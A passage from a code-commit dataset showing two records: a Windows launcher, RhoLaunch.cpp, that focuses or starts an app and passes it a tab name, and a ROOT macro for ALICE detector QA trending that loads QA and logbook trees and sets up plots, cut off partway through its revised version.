pFilePath,\t\t\/\/\tLPCTSTR lpApplicationName,\/\/L\"\\\\program files\\\\Neon\\\\BIN\\\\SVC_Controls.exe\",\n\t\t\t\t\t\t pCmdLine,\t\t\/\/\tLPTSTR lpCommandLine,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPSECURITY_ATTRIBUTES lpProcessAttributes,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPSECURITY_ATTRIBUTES lpThreadAttributes,\n\t\t\t\t\t\t FALSE,\t\t\t\/\/\tBOOL bInheritHandles,\n\t\t\t\t\t\t 0,\t\t\t\t\/\/\tDWORD dwCreationFlags,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPVOID lpEnvironment,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPCTSTR lpCurrentDirectory,\n\t\t\t\t\t\t &StartInfo,\t\/\/\tLPSTARTUPINFO lpStartupInfo,\n\t\t\t\t\t\t &ProcessInfo);\t\/\/\tLPPROCESS_INFORMATION lpProcessInformation\n\t\/\/m_dwProcessID = ProcessInfo.dwProcessId;\n\n\t\/\/\tIf all is Ok, then return '0' else return the last error code.\n\n\treturn bOk ? 0 : GetLastError();\n}<commit_msg>Modifying RhoLaunch to look for Window's ClassName<commit_after>\/\/ RhoLaunch.cpp : Defines the entry point for the application.\n\/\/\n\n#include \"windows.h\"\n#include \"RhoLaunch.h\"\n\n\n#define MAX_LOADSTRING 100\n#define PB_WINDOW_RESTORE WM_USER + 10\n\n\n\n\/\/ Global Functions:\nint LaunchProcess( LPTSTR pFilePath, LPTSTR pCmdLine);\n\n\nint WINAPI WinMain(HINSTANCE hInstance,\n HINSTANCE hPrevInstance,\n LPTSTR lpCmdLine,\n int nCmdShow)\n{\n\t\n\tCOPYDATASTRUCT launchData;\n\t\n\t\/\/validate the command line\n\tint iLen = wcslen(lpCmdLine);\n\tif(iLen < 3){\n\t\treturn 1;\n\t}\n\n\t\/\/LPWSTR pAppName = new WCHAR[iLen + 3];\/\/allow space for the index\n\tLPWSTR pAppName,pTabName,pTemp;\n\tpAppName = pTemp= lpCmdLine;\n\t\n\t\n\t\n\tint iLoop;\n\tbool bStart,bTabStart,bAppName;\n\tbStart = bTabStart = bAppName= false;\n\n\t\n\tfor(iLoop = 0;iLoop < iLen ;iLoop++)\n\t{\n\t\tif(lpCmdLine[iLoop] == L' '){\n\t\t\t\n\t\t\tif(bStart){\n\t\t\t\tif(!bAppName){\n\t\t\t\t\t*pTemp = NULL;\/\/terminate the app name\n\t\t\t\t\tpTemp++;\n\t\t\t\t\tbAppName = true;\n\t\t\t\t\tpTabName = pTemp;\n\n\t\t\t\t}\n\t\t\t\telse if(bTabStart){\n\t\t\t\t\t*pTemp = NULL;\/\/terminate the tab name\n\t\t\t\t\tbreak;\/\/finished so exit loop\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tcontinue;\/\/ignore spaces\n\t\t\n\t\t}\t\t\n\n\n\n\n\t\tif(lpCmdLine[iLoop] == L'\/'){\n\t\t\tif(!bStart){\n\t\t\t\tbStart = !bStart;\n\t\t\t\tcontinue;\n\n\t\t\t}\n\t\t\t\n\t\t\tif(!bAppName){\n\t\t\t\t*pTemp= NULL;\n\t\t\t\tbAppName = !bAppName;\n\t\t\t\tbTabStart = true;\n\t\t\t}\n\n\t\t\tif(!bTabStart){\n\t\t\t\tbTabStart = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t}\n\t\t*pTemp= lpCmdLine[iLoop];\n\t\tpTemp++;\n\n\t}\n\t*pTemp = NULL;\n\t\t\t\n\t\n\t\n\/\/\tHWND hwndRunningRE = FindWindow(NULL, pAppName);\n\t\/\/ DCC Main Window now has Classname <pAppName>.MainWindow\n\tWCHAR* szClassName = new WCHAR[wcslen(pAppName) + wcslen(L\".MainWindow\") + 1];\n\twcscpy(szClassName, pAppName);\n\twcscat(szClassName, L\".MainWindow\");\n\tHWND hwndRunningRE = FindWindow(szClassName, NULL);\n\tdelete[] szClassName;\n\n\tif (hwndRunningRE){\n\t\t\/\/ Found the running instance\n\t\t\n\t\t\n\t\t\/\/rhode expects a MultiByte string so convert\n\t\tint ilen = wcslen(pTabName);\n\t\tchar *pTabNameMB = new char[ilen+1];\n\t\twcstombs(pTabNameMB, pTabName,ilen);\t\n\t\n\t\tlaunchData.lpData = pTabNameMB;\n\t\tlaunchData.cbData = (ilen+1);\n\n\n\n\t\tShowWindow(hwndRunningRE, SW_RESTORE);\n\t\t\n\t\tSendMessage(hwndRunningRE,PB_WINDOW_RESTORE,(WPARAM) NULL,(LPARAM)TRUE);\n\t\t\n\t\t\/\/send a message to inform Rho of the requested index\n\t\tSendMessage(hwndRunningRE,WM_COPYDATA,(WPARAM)NULL,(LPARAM) (LPVOID) &launchData );\n\t\t\n\n\n\t\tdelete [] pTabNameMB;\n\n\n\t\t\/\/ switch to it\n\t\t\n\t\tSetForegroundWindow(hwndRunningRE);\n\t\n\t}\n\telse{\n\t\t\/\/no window handle, so try to start the app\n\t\t\/\/will only work if RhoLaunch is in the same directory as the app\n\t\t\n\t\t\/\/build the Rho app name\n\t\tWCHAR pApp[MAX_PATH + 1];\n\t\tint iIndex,iLen;\n\n\t\tif(!(iLen = GetModuleFileName(NULL,pApp,MAX_PATH))){\n\t\t\treturn 1;\/\/error could not find the path \n\t\t}\n\n\t\t\/\/remove 'RhoLaunch' from the path\n\t\tfor(iIndex = iLen - 1;pApp[iIndex]!=L'\\\\';iIndex--);\n\t\tpApp[iIndex+ 1] = NULL;\n\n\t\t\n\t\t\/\/LPWSTR pApp = new WCHAR[wcslen(pAppName)+10];\n\t\twcscat(pApp,pAppName);\n\t\twcscat(pApp,L\".exe\");\n\t\t\n\t\tLPWSTR pTabCommand = new WCHAR[wcslen(pTabName)+20];\n\t\twsprintf(pTabCommand,L\"\/tabname=\\\"%s\\\"\",pTabName);\n\t\t\n\n\n\t\tLaunchProcess(pApp,pTabCommand); \n\t\t\t \n\t\t\n\t\tdelete [] pTabCommand;\n\t}\n\t\n\treturn 0;\n}\n\nint LaunchProcess( LPTSTR pFilePath, LPTSTR pCmdLine)\n{\n\t\n\tSTARTUPINFO\t\t\t\tStartInfo;\n\tPROCESS_INFORMATION\t\tProcessInfo;\n\tBOOL\t\t\t\t\tbOk;\n\n\n\t\/\/\tReset the contents of the 'Process Information' and 'Start Up' structures.\n\n\tmemset( &ProcessInfo, 0, sizeof( PROCESS_INFORMATION));\n\tmemset( &StartInfo, 0, sizeof( STARTUPINFO));\n\tStartInfo.cb = sizeof( STARTUPINFO);\n\n\n\t\/\/\tCreate the 'browser' in a seperate process.\n\n\tbOk = CreateProcess( pFilePath,\t\t\/\/\tLPCTSTR lpApplicationName,\/\/L\"\\\\program files\\\\Neon\\\\BIN\\\\SVC_Controls.exe\",\n\t\t\t\t\t\t pCmdLine,\t\t\/\/\tLPTSTR lpCommandLine,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPSECURITY_ATTRIBUTES lpProcessAttributes,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPSECURITY_ATTRIBUTES lpThreadAttributes,\n\t\t\t\t\t\t FALSE,\t\t\t\/\/\tBOOL bInheritHandles,\n\t\t\t\t\t\t 0,\t\t\t\t\/\/\tDWORD dwCreationFlags,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPVOID lpEnvironment,\n\t\t\t\t\t\t NULL,\t\t\t\/\/\tLPCTSTR lpCurrentDirectory,\n\t\t\t\t\t\t &StartInfo,\t\/\/\tLPSTARTUPINFO lpStartupInfo,\n\t\t\t\t\t\t &ProcessInfo);\t\/\/\tLPPROCESS_INFORMATION lpProcessInformation\n\t\/\/m_dwProcessID = ProcessInfo.dwProcessId;\n\n\t\/\/\tIf all is Ok, then return '0' else return the last error code.\n\n\treturn bOk ? 0 : GetLastError();\n}<|endoftext|>"} {"text":"<commit_before>\/*\n Steering macro for the Detector\/<action> trending\n\n \/\/\n \/\/ code to check consitency\n \/\/\n gSystem->SetIncludePath(\"-I$ROOTSYS\/include -I$ALICE_ROOT\/ -I$ALICE_ROOT\/include -I$ALICE_ROOT\/install\/include -I$ALICE_ROOT\/STEER\\\n -I$ALICE_ROOT\/TPC -I$ALICE_ROOT\/ITS -I$ALICE_ROOT\/TRD -I$ALICE_ROOT\/TOF -I$ALICE_ROOT\/RAW -I$ALICE_ROOT\/STAT -I$ALICE_ROOT\/TPC\/TPCBase -I$ALICE_ROOT\/TPC\/TPCRec -I$ALICE_ROOT\/TPC\/TPCCalib -I$ALICE_PHYSICS\/..\/src\/PWGPP\/TPC\/\");\n .L $ALICE_PHYSICS\/..\/src\/PWGPP\/QA\/scripts\/qaTrending.C+\n period=\"LHC15o\";\n pass=\"cpass1_pass1\";\n detector=\"T0\";\n referenceDet=\"ITS;TPC;TRD;TOF\";\n \n treeQADet=InitTrees(detector,referenceDet);\n treeQADet->SetAlias(\"tagID\",\"run\"); \n InitSummaryTrending(treeQADet);\n\n*\/\n\n#include \"TTree.h\"\n#include \"TString.h\"\n#include \"TStatToolkit.h\"\n#include \"AliExternalInfo.h\"\n#include \"TStyle.h\"\n#include \"TROOT.h\"\n#include \"TMultiGraph.h\"\n#include \"TMath.h\"\n#include \"TLegend.h\"\n\n\nTTree * InitTrees(const char * detector, const char * referenceDet); \/\/ load QA trees and Sttering tree <det> QA.<Det>, Logbook, Lo\nvoid InitSummaryTrending(TTree * tree); \/\/ can be generic ? \nvoid SetDrawStyle(); \/\/ setting Defaul draw style\nTObjArray * GetTexDescription(TLatex *latex); \/\/ should go to base code\nvoid logbookConfig(TTree * tree); \/\/ should go to base code\n\n\/\/\n\/\/ Macro global variables:\n\/\/\nchar * year=0, *period=0, *pass=0;\nTTree * treeQADet=0;\nstd::map<std::string,TTree*> qaMap;\nTCanvas *canvasQA=0; \/\/ central canvas for QA plots\nTObjArray * descriptionQA=0; \/\/ descriptionQA of process (time\/aliroot\/root\/pariod\/pass\/user)\nTObjArray* oaMultGr=0; \/\/ status bar multigraph\nTString statusDescription[3]; \/\/ status bra description\n\n\n\/\/\n\/\/\n\/\/ Drawing configuration can be changed\n\/\/\n\/\/ colors & markers:\nInt_t colPosA=kGreen+2; \/\/kRed;\nInt_t colPosC=kMagenta+1; \/\/kAzure-4;\nInt_t colNegA=kRed; \/\/kRed;\/\/kOrange;\nInt_t colNegC=kAzure-4; \/\/kAzure-4;\/\/kGreen;\nInt_t colSum=kBlack;\nInt_t marA1=21;\nInt_t marA2=24;\nInt_t marC1=20;\nInt_t marC2=25;\nInt_t marSum=34;\/\/full cross\nInt_t marCorr=31;\/\/snowflake\nFloat_t markerSize=0.9;\nconst char * defColors=\"1;2;4;3;856;616\";\nconst char * defMarkers=\"21;22;25;26;27;28\";\nconst char * bandColors=\"1;400;400;632;632;416;416\"; \/\/ kBlack;kYellow;kYellow;kRed; kRed; kGreeen; kGreen\n\/\/ shifting of graphs within one run for better visibility:\nFloat_t sh_gr0=-0.3;\nFloat_t sh_gr1=-0.1;\nFloat_t sh_gr2=+0.1;\nFloat_t sh_gr3=+0.3;\n\/\/ maximal canvas width\nInt_t kMaxCanvasWidth=2500;\n\/\/ status bar height\nFloat_t statPadHeight=0.30; \/\/fraction of canvas height (was 0.25 until Aug 2014)\nFloat_t statPadBotMar=0.40; \/\/bottom margin of pad for run numbers\nInt_t padRightMargin=0.07;\n\n\nvoid qaTrending(){\n}\n\nTTree * InitTrees(const char * detector, const char *referenceDet){\n \/\/\n \/\/ Init tree for given period\n \/\/ all trees stored in qaMap\n \/\/ FriendTree added to the master treeQADet\n \/\/ Currentrly in the code we assume ID=\"run\";\n \/\/ Bug in root tree ? - in case more than one friend tree set - indeces looks corrupted \n \/\/ 0.) QA tree per detector Raw+MC (if exist)\n \/\/ 1.) QA trees per refernce detectors specified by string refDet e.g \"TPC;TRD;TOF\"\n \/\/ 2.) Logbook tree per run\n \/\/ 3.) Logbook tree per run\/detector\n \/\/ 3.) RCT table\n \/\/ 4.) CPass table \n \/\/ \n \/\/ tree is created with addition of friend trees which can be used in queries\n \/\/ queries as analog to the SQL statement\n\n \/* \n period=\"LHC15o\"; pass=\"cpass1_pass1\"\n *\/\n ::Info(\"qaTrending::InitTrees::Begin\",\"Detector %s, RefDet=%s\",detector, referenceDet);\n AliExternalInfo info;\n Int_t treeCounter=0;\n \/\/ Load trees\n TObjArray * detArray=TString(referenceDet).Tokenize(\";\");\n Int_t nrefDets=detArray->GetEntries();\n TVectorF runCounter(5+nrefDets*2); \/\/ <QADet>, <Logbook>, <Logbook.Det>, <MonAlisa>, <CPass>, <QA.RefDet>xnrefDets, <Logbook.RefDet>xnrefDets\n \/\/\n ::Info(\"qaTrending::InitTrees::End\",\"Laoding trees\");\n treeQADet = info.GetTreeDataQA(detector,period, pass);\n if (!treeQADet){\n ::Error(\"qaTrending.InitTrees\", \"Input QA tree %s not available\", detector); \n return 0;\n }\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n qaMap[TString::Format(\"QA.%s\",detector).Data()]=treeQADet;\n \/\/\n qaMap[\"Logbook\"]=info.GetTree(\"Logbook\",period,\"\");\n qaMap[\"Logbook\"]->AddFriend(treeQADet,\"QADet\");\n treeQADet->AddFriend(qaMap[\"Logbook\"],\"Logbook\");\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n \/\/\n qaMap[\"MonALISA.RCT\"]=info.GetTree(\"MonALISA.RCT\",period,pass);\n qaMap[\"MonALISA.RCT\"]->AddFriend(treeQADet,\"QADet\");\n treeQADet->AddFriend(qaMap[\"MonALISA.RCT\"],\"MonALISA.RCT\");\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n \/\/\n TTree *treeLogbookDetector =info.GetTree(\"Logbook.detector\",period,\"\");\n if (treeLogbookDetector){\n if (detArray->GetEntries()>0){\n for (Int_t idet=0; idet<detArray->GetEntries(); idet++){\n\t\/\/ Load Logbook.RefDet\n\tconst char *detName=detArray->At(idet)->GetName();\t\n\tTTree * treeLog =treeLogbookDetector->CopyTree(TString::Format(\"detector==\\\"%s\\\"\",detName).Data());\n\tif (treeLog->GetEntries()<=0){\n\t ::Error(\"qaTrending.InitTrees\",\"Missing Tree Logbook. %s - check the syntax\",detName);\n\t}else{\n\t treeLog->BuildIndex(\"run\");\n\t qaMap[TString::Format(\"Logbook.%s\",detName).Data()]=treeLog;\n\t treeLog->AddFriend(treeQADet, \"QADet\");\n\t treeQADet->AddFriend(treeLog, TString::Format(\"Logbook.%s\",detName).Data());\n\t runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n\t}\n\t\/\/ Load QA.RefDet\n\tTTree * treeQARefDet = info.GetTreeDataQA(detName,period, pass);\n\tif (treeQARefDet){\n\t qaMap[TString::Format(\"QA.%s\",detName).Data()]=treeQARefDet;\n\t treeQARefDet->AddFriend(treeQADet, \"QADet\");\n\t treeQADet->AddFriend(treeQARefDet, TString::Format(\"QA.%s\",detName).Data());\n\t runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n\t}else{\n\t ::Error(\"qaTrending.InitTrees\",\"Missing Tree QA.%s - check the syntax\",detName);\n\t}\n }\n }\n }\n \/\/\n \/\/ Check consistency of data\n \/\/ \n ::Info(\"qaTrending::InitTrees::End\",\"Checking trees\");\n TList *arrFriends = treeQADet->GetListOfFriends();\n for (Int_t ifriend=0; ifriend<arrFriends->GetEntries(); ifriend++){\n Int_t entries = treeQADet->Draw(TString::Format(\"run-%s.run\", arrFriends->At(ifriend)->GetName()).Data(),\"1\",\"goff\");\n Double_t mean=0;\n if (entries>0) {\n mean=TMath::Mean(entries, treeQADet->GetV1());\n }\n if (mean==0){\n ::Info(\"qaTrending::InitTrees\", \"Friend:\\t%s\\t%d\\t%f\", arrFriends->At(ifriend)->GetName(), entries,mean);\n }else{\n ::Error(\"qaTrending::InitTrees\", \"Friend:\\t%s\\t%d\\t%f\", arrFriends->At(ifriend)->GetName(), entries,mean);\n }\n }\n delete detArray;\n ::Info(\"qaTrending::InitTrees::End\",\"Detector %s, RefDet=%s\",detector, referenceDet);\n\n return treeQADet; \n}\n\n\nvoid SetDrawStyle(){\n \/\/\n \/\/ Standard drawing style\n \/\/\n gROOT->SetStyle(\"Plain\");\n gStyle->SetPalette(1);\n gStyle->SetLabelSize(0.04,\"x\");\n gStyle->SetPadTickX(1);\n gStyle->SetPadTickY(1);\n}\n\n \n\n\nTObjArray * GetTexDescription(TLatex *latex){\n \/\/\n \/\/\n \/\/\n TObjArray * description= new TObjArray();\n TString sTimestamp = TString::Format(\"Creation time:%s\",gSystem->GetFromPipe(\"date\").Data());\n TString sUser=TString::Format(\"User:%s\",gSystem->GetFromPipe(\"echo $USER\").Data()); \n TString sPeriod=TString::Format(\"period:%s\",period); \n TString sPass=TString::Format(\"pass:%s\",pass); \n TString sAlirootVer;\n TString sAliphysicsVer;\n \/\/TString runStat=\n if (gSystem->GetFromPipe(\"echo $ALICE_VER\") == \"master\" || gSystem->GetFromPipe(\"echo $ALICE_VER\") == \"\"){\n sAlirootVer = \"AliRoot: \" + gSystem->GetFromPipe(\"wdir=`pwd`; cd $ALICE_ROOT\/..\/src; git describe; cd $wdir;\");\n }else {\n sAlirootVer = \"AliRoot: \" + gSystem->GetFromPipe(\"echo $ALIROOT_VERSION\");\n }\n if (gSystem->GetFromPipe(\"echo $ALIPHYSICS_VER\") == \"master\" || gSystem->GetFromPipe(\"echo $ALIPHYSICS_VER\") == \"\"){\n sAliphysicsVer = \"AliPhysics: \" + gSystem->GetFromPipe(\"wdir=`pwd`; cd $ALICE_PHYSICS\/..\/src; git describe; cd $wdir;\");\n }else {\n sAliphysicsVer = \"AliPhysics: \" + gSystem->GetFromPipe(\"echo $ALIPHYSICS_VERSION\");\n }\n \/\/\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY(),sTimestamp.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-1.1*latex->GetTextSize(),sUser.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-2.2*latex->GetTextSize(),sPeriod.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-3.3*latex->GetTextSize(),sPass.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-4.4*latex->GetTextSize(),sAlirootVer.Data()));\n description->AddLast(latex->DrawLatexNDC(latex->GetX(), latex->GetY()-5.5*latex->GetTextSize(),sAliphysicsVer.Data()));\n return description;\n}\n\nvoid logbookConfig(TTree * tree){\n \/\/\n \/\/\n \/\/\n TStatToolkit::AddMetadata(tree,\"totalEvents.Title\",\"N_{events}\");\n TStatToolkit::AddMetadata(tree,\"totalEvents.AxisTitle\",\"N_{events}\");\n TStatToolkit::AddMetadata(tree,\"totalEvents.Legend\",\"logbook - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"totalEventsPhysics.Title\",\"N_{phys.ev.}\");\n TStatToolkit::AddMetadata(tree,\"totalEventsPhysics.AxisTitle\",\"N_{phys.ev.}\");\n TStatToolkit::AddMetadata(tree,\"totalEventsPhysics.Legend\",\"logbook - N_{phys.ev.}\");\n \/\/\n TStatToolkit::AddMetadata(tree,\"LogbookDet.eventCountPhysics.Title\",\"T0 - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"LogbookT0.eventCountPhysics.AxisTitle\",\"T0 - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"LogbookT0.eventCountPhysics.Legend\",\"T0 - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"LogbookTPC.eventCountPhysics.Title\",\"TPC - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"LogbookTPC.eventCountPhysics.AxisTitle\",\"TPC - N_{events}\");\n TStatToolkit::AddMetadata(tree,\"LogbookTPC.eventCountPhysics.Legend\",\"TPC - N_{events}\");\n}\n\n\n\n\nvoid InitSummaryTrending(TTree * tree){\n \/\/\n \/\/ Init drawing for the <detector> QA\n \/\/ Detector specific qaConfig() has to be called before invoking this function\n \/\/ 0.) Make descriptor \n \/\/ 1.) Make default canvas - addopt canvas width to the number of entries to draw\n \/\/ 3.) compute detector status graphs\n\n \/\/\n \/\/ 0.) Make descriptor \n \/\/\n TLatex *latex= new TLatex;\n latex->SetX(0.11);\n latex->SetY(0.8);\n latex->SetTextSize(0.03);\n descriptionQA = GetTexDescription(latex);\n \/\/\n \/\/ 1.) Make default canvas - addopt canvas width to the number of entries to draw\n \/\/\n TGraphErrors *gr = (TGraphErrors*) TStatToolkit::MakeGraphSparse(tree,\"resolution:tagID\",\"\");\n Int_t numberOfTags = gr->GetN();\n cout<<\"number of graph entries: \"<<numberOfTags<<endl;\n double SpaceForLegend = 0.;\n Int_t canvas_width = SpaceForLegend + (numberOfTags+5)*30;\n Int_t canvas_height = 600; \n if ( canvas_width>kMaxCanvasWidth) canvas_width=kMaxCanvasWidth;\n canvasQA = new TCanvas(\"canvasQA\",\"canvasQA\",canvas_width,canvas_height);\n canvasQA->SetGrid(3);\n canvasQA->cd();\n gPad->SetTicks(1,2);\n \/\/ canvasQA->SetRightMargin(SpaceForLegend\/canvas_width);\n double leftlegend = 1 - 180.\/canvasQA->GetWw();\n double rightlegend = 1 - 10.\/canvasQA->GetWw();\n \/\/\n \/\/ 2.) process config file qaConfig.C to initialize status aliases (outliers etc.), status bar criteria, status lines, ...\n \/\/\n TString sStatusbarVars = statusDescription[0];\n TString sStatusbarNames = statusDescription[1];\n TString sCriteria = statusDescription[2];\n cout << \"sStatusbarVars = \" << sStatusbarVars.Data() << endl;\n cout << \"sCriteria = \" << sCriteria.Data() << endl;\n \/\/\n \/\/ 3.) compute detector status graphs\n \/\/\n TObjArray* oaStatusbarVars = sStatusbarVars.Tokenize(\";\");\n TObjArray* oaStatusbarNames = sStatusbarNames.Tokenize(\";\");\n oaMultGr = new TObjArray();\n int igr=0;\n for (Int_t vari=oaStatusbarVars->GetEntriesFast()-1; vari>=0; vari--){ \/\/ invert the order of the status graphs\n TString sVar = Form(\"%s:tagID\", oaStatusbarVars->At(vari)->GetName()); \/\/e.g. -> dcar:run\n oaMultGr->Add( TStatToolkit::MakeStatusMultGr(tree, sVar.Data(), \"\", sCriteria.Data(), igr) );\n TString sYtitle = oaStatusbarNames->At(vari)->GetName(); \/\/ set better name for y axis of statuspad\n ((TMultiGraph*) oaMultGr->At(igr))->SetTitle(sYtitle.Data());\n igr++;\n }\n}\n<commit_msg> ATO-360 - removing metdata part. Defined in another macro<commit_after>\/*\n Steering macro for the Detector\/<action> trending\n\n \/\/\n \/\/ code to check consitency\n \/\/\n gSystem->SetIncludePath(\"-I$ROOTSYS\/include -I$ALICE_ROOT\/ -I$ALICE_ROOT\/include -I$ALICE_ROOT\/install\/include -I$ALICE_ROOT\/STEER\\\n -I$ALICE_ROOT\/TPC -I$ALICE_ROOT\/ITS -I$ALICE_ROOT\/TRD -I$ALICE_ROOT\/TOF -I$ALICE_ROOT\/RAW -I$ALICE_ROOT\/STAT -I$ALICE_ROOT\/TPC\/TPCBase -I$ALICE_ROOT\/TPC\/TPCRec -I$ALICE_ROOT\/TPC\/TPCCalib -I$ALICE_PHYSICS\/..\/src\/PWGPP\/TPC\/\");\n .L $ALICE_PHYSICS\/..\/src\/PWGPP\/QA\/scripts\/qaTrending.C+\n period=\"LHC15o\";\n pass=\"cpass1_pass1\";\n detector=\"T0\";\n referenceDet=\"ITS;TPC;TRD;TOF\";\n \n treeQADet=InitTrees(detector,referenceDet);\n treeQADet->SetAlias(\"tagID\",\"run\"); \n InitSummaryTrending(treeQADet);\n\n*\/\n\n#include \"TTree.h\"\n#include \"TString.h\"\n#include \"TStatToolkit.h\"\n#include \"AliExternalInfo.h\"\n#include \"TStyle.h\"\n#include \"TROOT.h\"\n#include \"TMultiGraph.h\"\n#include \"TMath.h\"\n#include \"TLegend.h\"\n\n\nTTree * InitTrees(const char * detector, const char * referenceDet); \/\/ load QA trees and Sttering tree <det> QA.<Det>, Logbook, Lo\nvoid InitSummaryTrending(TTree * tree); \/\/ can be generic ? \nvoid SetDrawStyle(); \/\/ setting Default draw style\nTObjArray * GetTexDescription(TLatex *latex); \/\/ should go to base code\n\n\/\/\n\/\/ Macro global variables:\n\/\/\nchar * year=0, *period=0, *pass=0;\nTTree * treeQADet=0;\nstd::map<std::string,TTree*> qaMap;\nTCanvas *canvasQA=0; \/\/ central canvas for QA plots\nTObjArray * descriptionQA=0; \/\/ descriptionQA of process (time\/aliroot\/root\/pariod\/pass\/user)\nTObjArray* oaMultGr=0; \/\/ status bar multigraph\nTString statusDescription[3]; \/\/ status bar description\n\n\n\/\/\n\/\/\n\/\/ Drawing configuration can be changed\n\/\/\n\/\/ colors & markers:\nInt_t colPosA=kGreen+2; \/\/kRed;\nInt_t colPosC=kMagenta+1; \/\/kAzure-4;\nInt_t colNegA=kRed; \/\/kRed;\/\/kOrange;\nInt_t colNegC=kAzure-4; \/\/kAzure-4;\/\/kGreen;\nInt_t colSum=kBlack;\nInt_t marA1=21;\nInt_t marA2=24;\nInt_t marC1=20;\nInt_t marC2=25;\nInt_t marSum=34;\/\/full cross\nInt_t marCorr=31;\/\/snowflake\nFloat_t markerSize=0.9;\nconst char * defColors=\"1;2;4;3;856;616\";\nconst char * defMarkers=\"21;22;25;26;27;28\";\nconst char * bandColors=\"1;400;400;632;632;416;416\"; \/\/ kBlack;kYellow;kYellow;kRed; kRed; kGreeen; kGreen\n\/\/ shifting of graphs within one run for better visibility:\nFloat_t sh_gr0=-0.3;\nFloat_t sh_gr1=-0.1;\nFloat_t sh_gr2=+0.1;\nFloat_t sh_gr3=+0.3;\n\/\/ maximal canvas width\nInt_t kMaxCanvasWidth=2500;\n\/\/ status bar height\nFloat_t statPadHeight=0.30; \/\/fraction of canvas height (was 0.25 until Aug 2014)\nFloat_t statPadBotMar=0.40; \/\/bottom margin of pad for run numbers\nInt_t padRightMargin=0.07;\n\n\nvoid qaTrending(){\n}\n\nTTree * InitTrees(const char * detector, const char *referenceDet){\n \/\/\n \/\/ Init tree for given period\n \/\/ all trees stored in qaMap\n \/\/ FriendTree added to the master treeQADet\n \/\/ Currentrly in the code we assume ID=\"run\";\n \/\/ Bug in root tree ? - in case more than one friend tree set - indeces looks corrupted \n \/\/ 0.) QA tree per detector Raw+MC (if exist)\n \/\/ 1.) QA trees per refernce detectors specified by string refDet e.g \"TPC;TRD;TOF\"\n \/\/ 2.) Logbook tree per run\n \/\/ 3.) Logbook tree per run\/detector\n \/\/ 3.) RCT table\n \/\/ 4.) CPass table \n \/\/ \n \/\/ tree is created with addition of friend trees which can be used in queries\n \/\/ queries as analog to the SQL statement\n\n \/* \n period=\"LHC15o\"; pass=\"cpass1_pass1\"\n *\/\n ::Info(\"qaTrending::InitTrees::Begin\",\"Detector %s, RefDet=%s\",detector, referenceDet);\n AliExternalInfo info;\n Int_t treeCounter=0;\n \/\/ Load trees\n TObjArray * detArray=TString(referenceDet).Tokenize(\";\");\n Int_t nrefDets=detArray->GetEntries();\n TVectorF runCounter(5+nrefDets*2); \/\/ <QADet>, <Logbook>, <Logbook.Det>, <MonAlisa>, <CPass>, <QA.RefDet>xnrefDets, <Logbook.RefDet>xnrefDets\n \/\/\n ::Info(\"qaTrending::InitTrees::End\",\"Laoding trees\");\n treeQADet = info.GetTreeDataQA(detector,period, pass);\n if (!treeQADet){\n ::Error(\"qaTrending.InitTrees\", \"Input QA tree %s not available\", detector); \n return 0;\n }\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n qaMap[TString::Format(\"QA.%s\",detector).Data()]=treeQADet;\n \/\/\n qaMap[\"Logbook\"]=info.GetTree(\"Logbook\",period,\"\");\n qaMap[\"Logbook\"]->AddFriend(treeQADet,\"QADet\");\n treeQADet->AddFriend(qaMap[\"Logbook\"],\"Logbook\");\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n \/\/\n qaMap[\"MonALISA.RCT\"]=info.GetTree(\"MonALISA.RCT\",period,pass);\n qaMap[\"MonALISA.RCT\"]->AddFriend(treeQADet,\"QADet\");\n treeQADet->AddFriend(qaMap[\"MonALISA.RCT\"],\"MonALISA.RCT\");\n runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n \/\/\n TTree *treeLogbookDetector =info.GetTree(\"Logbook.detector\",period,\"\");\n if (treeLogbookDetector){\n if (detArray->GetEntries()>0){\n for (Int_t idet=0; idet<detArray->GetEntries(); idet++){\n\t\/\/ Load Logbook.RefDet\n\tconst char *detName=detArray->At(idet)->GetName();\t\n\tTTree * treeLog =treeLogbookDetector->CopyTree(TString::Format(\"detector==\\\"%s\\\"\",detName).Data());\n\tif (treeLog->GetEntries()<=0){\n\t ::Error(\"qaTrending.InitTrees\",\"Missing Tree Logbook. %s - check the syntax\",detName);\n\t}else{\n\t treeLog->BuildIndex(\"run\");\n\t qaMap[TString::Format(\"Logbook.%s\",detName).Data()]=treeLog;\n\t treeLog->AddFriend(treeQADet, \"QADet\");\n\t treeQADet->AddFriend(treeLog, TString::Format(\"Logbook.%s\",detName).Data());\n\t runCounter[treeCounter++]=treeQADet->Draw(\"run\",\"1\",\"goff\");\n\t}\n\t\/\/ Load QA.RefDet\n\tTTree * treeQARefDet = info.GetTreeDataQA(detName,period, pass);\n\tif (treeQARefDet){\n\t qaMap[TString::Format(\"QA.%s\",detName).Data()]=treeQARefDet;\n\t treeQARefDet->AddFriend(treeQADet, \"QADet\");\n\t treeQADet->AddFriend(treeQARefDet, 